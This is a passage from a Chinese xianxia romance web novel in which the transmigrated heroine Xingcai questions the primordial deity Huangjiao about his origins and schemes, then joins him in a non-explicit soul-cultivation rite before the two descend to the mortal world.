余下的时间还要接纳世间产生的不良情绪，凝结为戾气的树叶，放进焚戾炉烧毁。他担负这个世界，又想要从中争取自由……其实也很可悲，不是吗？
但是，荇菜很快会压下这些情感。
黄椒是罪有应得，四尊作为分身反噬他就是最好的证明。可恶的黄椒、无家可归的可怜自己，明天又该怎么办？
荇菜自嘲般笑起来：“明天还是坐在这里发呆！”
黄椒在荇菜的耳旁道：“荇姑娘，我……只是想你开心。”
荇菜没理他，调个身，背对大殿门口继续发呆。
“我自有意识就只知道自己是太初。太初没有感情，诞生后被赋予的使命不是创世就是守界。”
荇菜转了脸，竖起耳朵。
黄椒在她的耳旁追忆亘古久远的记忆，那是宇宙之初的记忆。
“太初诞生于星源，若以人的说法，应该称呼为：神之故乡。神之故乡里有神心，所有的太初中只有一个存在可以拿到神之心，召集太初这个种族，保护自己的世界、乃至星源。”
荇菜讶然，有种天方夜谭的感觉。
有那么一刹那，她想起千字文的开篇语：天地玄黄，宇宙洪荒。日月盈昃，辰宿列张。
“天地阴阳乃是创世后的概念。宇宙洪荒乃是世界诞生之初的元始时刻。”黄椒幽幽道，“守界之战里我被十方星环禁锢，继而消失，落在这片虚空角落。
时间对于我毫无意义，直至我感应到自己即将消散。那日，一角神之心的光落在我处，打开太初自出生以来就被赋予的本能——创世。”
荇菜很难明白他得这份情感，只默默听着。
“创世之后，时间忽然有了意义。期待星球的演化，期待生命的诞生，等待天道法则的成型，而后被祂禁锢，等待时间把我灰飞烟灭。”
黄椒长出口气，镜花岛的风好像也随这份无法理解的孤寂吹拂而来，撩动荇菜耳旁的鬓发，轻轻柔柔，像是想要留住什么。
“我突然就不想这么被动。时间给我留下得难道就是毁灭吗？我尝试破解十方星环的禁锢，与演化出来的天道谈判，以分身入世助人，以功德之力为未来做些筹谋。”
“分身破天！”荇菜滚了喉口，应了四字。
“起初，分身并不是为破天，而是真正的助人。负长月剑在肩头的少年，挽救水深火热的生灵……后来，又有四尊镇守四方，再有黄椒划十国八宗，分地而治。功德多得我觉得根本阻挡不了自己随时间消亡的脚步。这才开始有分身生出元神，吸引天道助力，裂魂而去的想法。
可惜，天不遂吾愿。计划被天道窥破。”黄椒感慨着，“吾又怎么会放弃呢？便有了之后的应对之法。”
“为什么是我？”
“不知道。”
荇菜蹙眉，回想出事那日，难道见义勇为能穿越异世？别误导小朋友了好嘛！
沉默蔓延着，黄椒耐不住又问：“你还想知道什么？”
荇菜撩眸，落在殿外虹桥的石柱处：“我在想怎么弄死你这个没心没肺的东西。”
黄椒哑然失笑，一本正经回答：“你可以把我暴露给天道，那样……”
荇菜坐直身，环顾空落落的四周，生出无力和无奈。
“黄椒，我已经集结你的元神，你到底要怎么样才会放我回去？”
黄椒顿了下，轻声道：“时机未到！”
“你是不是欠揍？这个地方我真是一天都待不下去，鸟都不来，没个响声。我要回蓝星，回到我的母星蓝星！”荇菜跳起来暴走。
但是，环顾四周，暴走发怒也没人关心，唱独角戏罢了。
黄椒喜欢这样的荇菜，有着活力和生机，而不是像以前的自己，别人口里的道祖天尊，其实是个被困在镜花台，靠分身行走下界的“石头”。说得好听是护道护苍生，其实不过是个怕寂寞、无聊、守着一丝期待，努力尝试维系自己存在的意义的活死人。
“荇姑娘，我说得都是真话。散神碎魂后重聚元神，是一个削弱实力的过程。”
黄椒重新以道生花张扬的五官站在荇菜的面前，在荇菜再次暴走前道，“你可以查看我的法力，除功德，我一无所有。”
荇菜指着他，对上讨人厌的道生花脸面，一时不知道说什么！
她哽了下才道：“你是玩尸体上瘾吗？非得去动他们！”
“我本来想要他的尸体，怕被你提剑砍，思来想去也就
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这人还行。”
“陆皎呢？”荇菜瞪眼。
黄椒嗯了声：“我还真不喜欢他。”
“呵，”荇菜皮笑肉不笑地哼了声，“听闻四尊属他最聪明，聪明人让人讨厌，是因为他窥破你的秘密！”
“嗯。长生跟我说，有人把分身破天之策植入魔莲藕人，我就知道是陆皎。”
荇菜蹙眉：“不是长生干得这事嘛。”
“为了应对秘密泄露的事，对探知到情况的长月就说是长生干的这事。”
荇菜突然凝眉：“不对！天道诞下天命之子应对你的分身破天，而你已经筹谋后路。我就是那个后路，只闻长生之名，未见长生……他真得在青虞宗闭关吗？”
黄椒笑起来，一张孔雀般得意的脸上有几分道生花欠扁的神情。
“荇姑娘，别得不说，咱们来说说接下来的事可好？”
荇菜冷哼：“你做这么多事，又把我拉进你的局，为得是自由吧。我猜……”
“娘子若能过渡劫境，飞升成仙，就有与天道谈判的资本。”黄椒打断荇菜的猜测，又道，“也就有去你想去的地方的可能！”
荇菜拿死鱼眼瞪他：“你不说清楚，我为什么要给你卖命？飞升？大陆上传言你飞升多久？你还不是道消散神，余下元神在此。”
“元神还能在这，正是因为天地同心魂契拉住我。这是惊蛰给的报酬：慎择。此后，花涟与你结侣，我以元神入场，得你情谊。
与你结侣确实有时势之因，也是我……因项檀、惊蛰之后生了情心。正如花涟回馈的‘情谊’二字，以有情之心换你真情，取那一线生机。”
“说到底，这只是你想要挣脱天道束缚的一种手段。”
黄椒默然，眼神像是轻柔地风拂在荇菜的脸颊，追忆道：“我第一次去见你，在合欢宗的大殿，与你结契为侣。那时候，有些期待，更多得是选择。
一直到结侣后，我总是……嗯，你的琉璃宝车落在莲池浮石。陷入石猴识海危险得你凭本能落在我面前……那时，我才明白人间百家牵挂的意义。”
荇菜恍然，想起金猴姐浩瀚识海内的一道金光之门。
“你开了门户送我出识海。”
“嗯。”
“那时候，琉璃宝车上高空，你根本没有出现。”
“时机未到！”
“呵。”荇菜讽刺般笑了声，张开的手掌握住长月剑。
黄椒愣了下，拿不明白、不理解、莫名其妙的眼神看着荇菜：“我做错了吗？”
神灵也读不懂女人的心思！
“在你的局里，你当然没有了。只是，你让我错过一次获得真相的机会。”
黄椒点头：“说得有道理。”
长月剑架在黄椒的肩头，荇菜接着道：“接下来第三次呢？”
“我……”黄椒的耳朵红了，放在道生花的脸上简直是天外奇景。
荇菜觉得有点恶心，道生花留下的观感实在说不上好。
“我越来越嫉妒那些分身，迫切想要见到你。一直到你随侍神女郎上浮空岛，我管不得什么机会、时机、局面，就那样跑去见你，让你来到我身边。”
“狗屁！”荇菜想起守剑阁一夜，朦朦胧胧跟鬼做了一样，“呸！”
黄椒羞红了脸，不自在地拉了下衣袖：“我怕被娘子嫌弃，不敢直接出现在你面前！何况，那时候的娘子……的杀夫之心……无人可阻！”
荇菜的脸上色彩纷呈，不知道拿什么堵他的嘴，想起死得冤枉至极的长月：“你就这样舍了长月？他不无辜吗？”
“算不得。他得了应得的报酬，转世轮回！”
荇菜张口，生出股无力。
“对，你和我的价值观就不在一条线。我来到这个世界，所有的应对方式都是为生存，不，入你的局。”
“吞噬分身的阵法灵力有助于你突破修为。迄今为止，没有人可以在百年内修成大乘境。你是独一无二的！”
“我谢谢你黄大爷！”荇菜挥手把黄椒收入蜃珠。
现在没法跟这个人交流，感觉被气炸了，而对方一点自觉都没有！
黄椒回到荇菜的识海后又默默地待了许久。
日升月落，时间像可有无可的东西。
荇菜忽然道：“黄椒，我不要飞升！我要得是回蓝星！”
黄椒赶紧答应：“飞升成仙，可与天道谈判。”
“你不怕我把你送给天道做交易吗？”
黄椒轻笑了声，如在荇菜耳边，酥酥麻麻有些惹人。
荇菜发现对他的怨恨已经没有一开始那么深，尤其在镜花岛上待得越来越久，感觉时间都不存在。何况，这个人有浓厚的悲剧色彩，深入了解他后，会生出同情。
“呸！我才不同情他，罪有应得！”
黄椒敛了笑容，感应到荇菜内心的挣扎，认真道：“我们来说说十方星环吧。自我道消散神，十方星环就选择你的蜃珠。我也彻底脱离天道的掌控，只待夫人飞升，就能跟着鸡犬升天。”
“！”荇菜憋了口气，想要笑又觉得这人故意这样讲。
不过，有人听过堂堂道祖黄椒自贬为鸡犬吗？当真是新鲜。也说明这人无所不用其极。
黄椒见她没有笑，露了苦笑。
135. 第 135 章
黄椒环顾在头顶流转的天地同心命契，追忆道：“道机、慎择、天命、求何、情意、轮回、天怨……你可知这几字的意思？”
荇菜思索他之前讲过的话，想起道生花的“轮回”，金沙的“碎魂”，密勒尊者的“傀偶”等话，甚至还有泽萃类似诅咒的话。
“他们临死前的十字箴言，前八字是他们的一生，后两字是感悟。”
“不错。”黄椒颔首道，“后两字是赋予他们生命的天机报酬。”
荇菜靠金沙的“碎魂”悟得裂魂破境阵诞生元神的奥义，密勒的“傀偶”乃是千丝控人术的秘法口诀，至于道生花的“轮回”或许与他的执念道法有关，需要进一步参悟。
“这样有意义吗？”
黄椒不明白她问得意义指什么，稍许一想，便道：“若说意义，你以他们的人生为参照，悟得后两字的精妙，就能突破现在的大乘境，入渡劫境。”
荇菜愣了下，感悟十字箴言，回顾他们的人生，在逆境、困境中寻求道，入世得道，确实能让修为提高，甚至悟到一些法门奥秘。
黄椒又道：“若荇姑娘同意，还有一个方法可以更快进入渡劫境。”
荇菜不用他说也明白那个方法。没吃过猪肉还没见过猪跑吗？
她冷笑道：“借用你的功德之力，以还阳术口诀引为灵泉，以功德成倍数递增灵力。最好得办法是与你……魂修！”
黄椒严肃应道：“我愿意！”
“你恶不恶心，想得美！”荇菜直接唾他。
“荇姑娘自己说的办法又怎么会恶心？吾觉得此法甚好，甚得吾心。”黄椒连古语自称都带出来，声音里不乏窃喜。
荇菜憋口气，生出烦他的心情。
黄椒这种处处先一筹，以静制动的气度，莫名其妙的深沉、油滑……种种不一的人品，再思及他做过的事。
帮金猴姐从石头变人，造出项檀这种一板一眼的书生；嘴贱油滑却内心深沉的惊蛰；温柔善良的黑羽；充满好奇心的鲛童；九阳这个外刚内柔的剑尊，甚至道生花、泽萃等阴邪诡道者……黄椒可以一人演千面。
但是，真正得他又是哪个？
天池边从凤武手里强行抢人，守剑阁的轻纱里刚柔并济，荇花岛上识海问心时的毫无人情味，会帮采玉藕、刻阵法，用维持自身元神的功德替青衍镇人换命……
这样的他却不愿承认项檀他们是个完整的人……讨厌他！真得很讨厌！
荇菜的眼神变得凌厉凶狠，恶声恶气道：“黄椒，我不喜欢这个方法！除非你想变成冰雕魂尸！”
“呃！好。”黄椒轻应了，又不明白自己哪里惹到她。
应声入耳，荇菜觉得他没心没肺，真是可恶！
又被困在这么个地方，也没处去，她只好道：“你再跟我说说太初是怎么回事！”
找点事转移注意力！省得又走捷径！
黄椒在识海内拂下金边衣袖，从善如流：“我于你换个角度理解‘太初’。
人的身体宛如宇宙，视为微观，放眼整个宇宙，内中星球、有物有生灵，皆为宇宙一部分，视为可见之阳。不可见的运转之道、暗中的力量，视为阴。”
“阴阳之道，视为合合。宇宙就形成完整统一的运转规则。”荇菜已经不是修真小白，皎月的卦阵之道充斥对世界运转的理解。
黄椒赞道：“不错。我诞生于星源之地、宇宙之初、神之故乡。所以，我们有个统称别名：太初！
太初形成时宛如人类婴儿般弱小，会凭本能互相吞噬，壮大自己，会聪明得和同类合作，吞噬别的太初。
这是神灵最原始的生存战争，根植于宇宙的基因。”
荇菜抿唇：“别在我识海翻阅我的记忆，还基因……”
黄椒感受到荇菜卸下心防得这刻，时间在这时候充满意义。
“以后用得到这个词！”
荇菜被太初的话题吸引，回想黄椒对太初的说法，又好奇道：“……守界之战又是什么？你是战俘吧！”
“哎呀……”黄椒发出一声惊呼。
荇菜愣了下，魂识流入识海，看着含笑立着的诡诈神灵，蹙眉道：“你干什么？”
黄椒一步瞬移，出其不意地弹在荇菜的额头：“娘子太过聪慧，为夫会很没面子。”
荇菜惊了下，随即生气，握住诛神魂剑：“没想到太初神灵会要面子。你不会真得是对方的战俘吧？”
黄椒举手投降，往后退了步：“战中被对方的星环击中，被瞬移出战局。”
“守界之战呢？结果如何？”
“不知道！”黄椒摇头。
“什么都不知道，要你何用！”荇菜顺嘴溜了句。收剑出脚，直接踹进黄椒的腿里。
两人的元神在瞬间共振，上空流转出同心魂契，彼此都忍不住激灵下。这种感觉和真身上阵爱/抚没有区别，让人熟悉又觉得尴尬。
黄椒暖暖地笑了，容色暧昧。
荇菜下意识吞咽了口，送他白眼后保持距离。
黄椒心生计策，挑衅道：“娘子也有怕的时候啊。”
荇菜瞪他，一眼窥破他此时的小心思：“战俘！”
“嗯。我是娘子的战俘！”
荇菜被他不要脸的言行给惊到，转身就走。
黄椒赶紧道：“太初无法被消灭，自诞生就被赋予使命。”
“创世和守界。”荇菜停下来，转身看着他。
黄椒缓步上前，颔首道：“若以世界为比喻，就是世人口里常说的命数。
太初创造新生宇宙的秩序；太初成为生命之心，演化世界之上的星辰循环；太初创造微小的生命，以生命诞生能量，维系宇宙运转。”
“那……太初不就是上帝、女娲，盘古？各负其责，维持世界的阴阳运转。”荇菜想起蜃珠里的生命，以及蜃珠上空的星辰，“我……不会成为太初吧？不对，太初诞生于神之故乡。”
“你是另一种类似于太初般的存在，属于世界的守护神。
太初之能远胜次级的守护神。”黄椒发现荇菜黑脸，金眸微亮，“如今得我已经不是太初
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，甚至弱于娘子。”
荇菜默然，睨他：“我有这个意思吗？”
黄椒巴巴回望：“没有！”在荇菜的示意下，继续道，“太初在神源获得的能量会随时间慢慢地消散，化为暗黑能量，反归神源。
我被十方星环封锁在这片空间，不甘消散，悟出‘创世’的使命。
创世是一个太初的使命，是祂生来不可逃避的命数。”
“羽化生、长恨、长月等人曾言，你创造天生大陆，就是这个世界。”荇菜算是彻底理解黄椒的意义。
黄椒突然生出难为情，羞答答道：“如今，娘子知道我得来源，也知我比娘子在世人口中知道的岁数大得多……”娘子会嫌弃为夫吗？
“你很老很自豪吗？”荇菜没听完已经回怼，“我们那普遍喜欢夫妻年龄差在二三岁左右，即使老少配，最高也不会超过三十。不然，可能会被说不正经！”
黄椒歪着头轻笑了声：“这么说有超过三十。”
“别耍嘴皮子，扯哪里去了？”荇菜嗔了句，发现自己的态度已经不像以前强硬。
这个该死的镜花岛，孤男骨女独处一块，果然不是好地方。
“太初应运而生，应劫而行。后来，我悟出创世，便想这会不会本就是我的命数？”
“进入怪圈，你这种外表温和，内心乖张的不良分子就是不甘心。”荇菜一语戳破他的本质。
黄椒点头：“确实。我不甘心，不甘心创世之后消散一空。为何我不能在自己创造的世界里行走，甚至离开此地去更远的地方旅游？”
“盘古！”荇菜想起盘古开天辟地后化为世界万物的神话故事。若盘古存在，是否要问一句，若有机会，你想在用自己的血肉滋养出的世界里游历吗？
“不对！”
“哪里不对？”黄椒发现总能从荇菜处听到对世界不一样的理解。
“我虽是起始，却也只是最初得一股力量。空间、宇宙力量、太初的混沌能量……诸如金凤花般的条件合合一起，出现了星球、生命，乃至运行规则的天道。”
荇菜明白：太初是生命得一个引子。引子用完就该消失！
如今的蜃珠已经会自发吞噬能量，十方星环更是穷凶极恶，吞噬泽萃的能量供应蜃珠的生命运转。
“娘子一再想要知道太初，是因为想到蜃珠，对吗?”黄椒轻舒口气，含笑道，“十方星环虽是敌人的武器，但也是神源力量而生，形成之初有创世本能。
说实话，我的创世之念是在十方星环中散出来的神心之力下成型。创世之初，它一直禁锢我的力量。
为摆脱它，我想过很多种办法，甚至让它与懵懂的天道对上……哎，一点用都没有。两方还增强对我的禁锢，以至于我有了一系列的布局。”
“够了，今日就到这。我累了！”荇菜明白创世的概念，想要回去整理一番，好应对蜃珠，以免将来成为蜃珠天道的消耗品。
黄椒巴巴地看她离开识海，轻叹口气：“娘子的脾气有时候真是硬气。无妨，你我尚有时间。”
136. 第 136 章
从前，荇菜一刻都停不下来，在这个世界里寻找着走下去的目标。
杀朱琴天报仇；设计花涟结侣，暴露道祖分身的秘密，来不及与他谈一场先婚后爱的恋情，他人就已经渡劫消散了。
心中执障，想为花涟报仇，为这不公平寻求公平。一叶障目，引发十方山寺动乱，被九阳剑尊拉着挽救僧侣们的性命。
灵力在荇菜的周围循环，引渡入体。
庞大的丹府对于吸入的灵力像小溪汇流江河，而流向大海又需要较长的时间，让大海满溢更是以千数的悠长岁月计量。
荇菜终于能理解四尊为什么要花费数千年的时间谋划一件事，从大乘境跨越到渡劫境，宛如天谴沟壑，而黄椒也不单是渡劫境。
她慢慢地睁开眼睛：“时间是修士最大的敌人吧。”
在拘缨国遇上陆皎，参与山泽争霸天下的路。
去往天龙道，无意中成为三生道攻打天龙道的棋子，成全道祖散神裂魂的布局
“黄椒，在那之前就已经决定散神裂魂，凭此逃脱双重禁锢。但是，你又怎么肯定我会复活你？”
黄椒在识海内缓声道：“花涟的记忆告诉我，你有必须要去的地方，必须要圆的情。”
“是。初上浮空岛时，若我不管裂魂破境阵法，直接去找你，事情是不是就不按你的想法走，会变的简单得多？”
黄椒知道荇菜修炼进展缓慢，继而心神有些浮躁。何况，玉石还阳功本就是快速进阶的功法，若按部就班修炼，对她是一种折磨。
她已经习惯一飞冲天的修炼进度，怎么回得去十年磨一剑的苦修模式？
“不会。娘子在修炼上激进，但在做事上却极稳。你为狐羽的晶魄而来，就定会先拿到晶魄。晶魄是世间少有可以承载裂魂破境阵法的容器，可助你破解阵法的秘密。”
荇菜张握双手，空空如也。
曾经在这个世界里试图握住些什么，却害怕交付，害怕建立真正的情感链接。
到泽萃、金沙、密勒这个程度，自己已经能够心无旁骛去做更狠绝的事。花涟的神识藏在金沙的元神，却任由他散进蜃珠的汪洋，化为灵光。
自始至终，唯一的目的就是要——回去！回去见他们！
黄椒的计划正是抓住这个弱点。
“你我……魂修吧。”荇菜抬眸看向镜花岛外的缥缈云海，听到黄椒一声答应。
这个地方真是太孤单了。黄椒可以待得住，因为他是太初。
但是，人不行。
寒凝仙子、陈仁管事、羽化生等人会隔三差五招凡人上岛、下界收徒，聚集出一个城市一个宗门，用以排解孤单、享受天人之尊……
但是，荇菜待在这，只能修炼。
而汲取天地力量的方式修炼又太过漫长，等得人心苍老。
镜花岛的大殿门自动关上，天光从圆窗落下，投射在荇菜解开的红袍，露出的圆润肩头。
屈起长颈，仰望头顶的星辰，平静无波的眼神中紫红金光泯灭，神识归流进识海。
识海内的黄椒看着上空飘下来的凤翎红裙女子，虔诚地伸出手，让她飘飘忽忽地落进怀。
金色的眸光温柔地注视着眼神幽幽的女人，任由她被红绸纠缠的双手环在颈项，与她缓缓地躺在地生轻烟的识海。
“怕吗？”
荇菜轻轻地摇头，微微合拢长睫，主动迎上他的唇角。
魂修的接触比肌体的簇拥更加直观，炙热的流浆从心口通达魂身百骸，彼此都忍不住像深吸口气后再吐出般舒畅。
荇菜被黄椒轻轻地放下，刹那间，云烟雾缭的识海竖起宫殿、屏风、玉榻……云气后缩落在殿外。
荇菜轻眯眸光，危险轻吟：“你竟然能掌握我的识海变幻？”
黄椒微微勾起唇角，细细地浅啄在她的颈项，沉浸于她的魂体带来的颤栗，深/入的爱抚她元神的每一处。
荇菜的思绪荡了下，一把钳住他的下颚，迫他抬起脸：“即使是你，也不能动我的识海。”
“好。下一次娘子来！开始了。”黄椒的左手旋诀，点在彼此额心神门，勾连的魂力流转金色的功德之光、银色的灵力脉络在彼此元神上方形成一道契约。
而殿宇之上、识海上空浮现天地同心魂契，魂契降下金色、银色的力量与黄椒凝出的阵法融合交汇，身为元神的两人瞬间交融为一体，紧密相缠。
一道宛如龙凤媾/交的金银之光扭转纠缠着冲出大殿，进入天地同心魂契。
功德之力、银色灵力、紫红泛金的神魂之力在契约中融化、交付、衔接，至不分彼此。
“啊……”
大殿里的圆窗下，荇菜屈起莹白的长/腿，软软地浮在地上，紧蹙的长眉让她的神情看起来似嗔似娇，熏熏然弓起双肩。
金光覆盖她周身，与她外显的灵力融合，水/乳一体，再不分彼此。
彼此的元神记忆在交汇、互融，于对方再无秘密可言，一切都暴露在对方的魂海，像两道星璇在经历强大的撞击后进行磨合再融为一个完整的整体。魂修之后，彼此分离成自我，却又有强大的引力吸引对方不可分离。
大殿里的荇菜以法身面向上之态做出玄奥的五心向天之势。
这个姿势不仅妖娆且极尽暧昧和邀请，凹凸曲线宛如起伏诱人的山岚，尽显女子的风姿之美。
金光浮游在身体的每一处，宛如洗精伐髓般融入她的骨血、经络、肌体、丹府灵婴。
灵婴、元神合体熔炼，成就全新的更高能量的生命形态。
《玉石还阳功》也以开启第二篇最后一章：合道尽欢。
以神人之姿承天接地，以灵泉为引与天道力量相合。
此次阴阳合合的灵泉为功德力量，乃是天地至善至纯之力，塑身熔体后成就金身神血。
“哈……”
荇菜轻吐口气，旋身一转，收敛神光入体。她漂浮而起，周身缠绕的金光之力被挥手震向殿外天地，宛如一道战帖，轰击天道设下的禁锢。
双瞳明灭，左金右紫红，一眼主善一眼主杀，双神法相并体而出，威压浮荡星野。
施施然飘落的荇菜披着雀翎红衣，赤足一抬，万音铃声之力荡向四野。若有活物，尽皆入迷。
撩手拨弄长及地的黑发，随手一点，长发缩短至腰间。
长睫如羽扇，轻忽间宛若纯善的魅魔。
“不愧是太初元神，加持功德之力。本尊现在已是渡劫境中期，再来一次就可以飞升。黄椒，你说是也不是？”
黄椒没有答应。
这样的双修肥了妻子，瘦了夫君，真是要命的欢愉。
荇菜凝眉轻横，转向殿上的道祖玉像。
这雕工手艺应该是三首国进贡的玉像。道祖玉像曾是三首国对外贸易里一笔不菲的收入。
天龙道浮空岛坠毁后，三首国没了这笔支出，翡翠城就成玉石、翡翠原石的集散地。
“尚欠黑珠一个承诺。”
荇菜抚在额头，魂修过
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后修为大涨，有了兴致参观这座囚牢。
她飘出大殿，在玉做的石敢当前站一会，漫步上虹桥，走向前方的落叶岛。
虹桥上云雾凝水，滴滴答答洒向下界。
趴在桥边观望，桥下云蒸雾绕，什么都看不清。
“天气好时，还能看到下面的四野零星。现在是一点都看不见。”
落叶岛上外围一圈浮石，有一棵生长奇怪的树，再无其它。
“黄椒说，天地至邪之气已经被他吸收凝为叶子，放进焚戾炉烧毁。他散神裂魂后至今，天地的戾气去了哪？”
黄椒缓步从虹桥走来，悠悠道：“埋在人间地底，侵蚀山河水土。凡人食之，心术不正就会为祸一方。修士触之，道恶性邪也会为祸一方，且危害更大。”
荇菜看他用花涟的尸身走来，一时忘记动怒。
黄椒款行之态，举手投足与花涟一模一样，甚至连面上含笑的神情都相似，只是眼中没有那丝羞怯，更多得是坚定。
荇菜想起枫林赏叶，从袖里乾坤取出一只玉盒，里面装着三片枫叶。
黄椒接过盒子，取出枫叶，一一吟读：“妻闲夫忙一座山，日日登峰顶簪花。我确实想要簪花，想到怕见你。”
荇菜伸手去捞叶，被他避过，睨道：“我承认你是他们。在你的元神里，我看到你过去的记忆。你以玉藕制人，本无感情，投入得也是你的神识。你也没有做绝，给他们机会。只可惜，不入此间道，他们就生不出元神，最终的归去处依然是你。你拥有他们所有的记忆、情感、过往，而这些却淹没在你浩瀚漫长的生命长河。所以，你不承认他们是人，也不承认他们是你。因为你是他们。这本就是不对等的包含关系，但又无法说是你的错。”
黄椒紧张的神色微散，魂修过后眼界开阔，便能明白更多的道理。
分身因一念而生，消失也会因一念归来。道祖是他们，而他们却不是道祖。
他拿出第二片枫叶：“莲花峰上座，娘子是主我是仆。三角梅下躺，花叶为被夫为床。这是花涟最期待的事，美好的寄语。”
荇菜接过他递来的枫叶，手指一松，任由枫叶随风而去。
黄椒轻蹙眉，旋指一点想要拉回枫叶，却发现毫无法力可言。
如今，他连一个普通的炼气修士都不如。
荇菜看他垂头，主动拿走他手上的第三片枫叶，慢慢读道：“捡一片枫叶赏玩，邀我家娘子寄情。黄椒，不管你是他也好，或是他们也罢。我不会陪你玩，不会寄情于你。现在，我只有一个目标。”
黄椒长长地叹口气：“罢。如今你我的目标一致。你……”
“我从你的记忆里探到离开这里的法门，想要下去一趟，可行？”
黄椒看了下自身，用得是花涟渡劫失败的法体，丹府经络具损，一时间很难恢复。
若用裂魂破境阵法以功德为媒介引渡天地法则修复法体……耗时漫长也是浪费功德。
以前，功德多到想救谁就救谁。现在，余下的功德得让娘子飞升。否则，两人都会被耗死在这片天地。
但是，黄椒还是想要随荇菜一起走，堂堂正正走在她身旁，多等片刻都不想。
“我能与你一起去吗？”
面上虽笑着，声音里却带着一丝小心。
“好啊。”荇菜敛眸，出其不意地提抓在黄椒的肩头，一步迎风过虹桥，冷眼看他瑟瑟发抖，旋手掐诀引渡星光建立通道。她抓起来不及恢复体温的黄椒，跃入人世。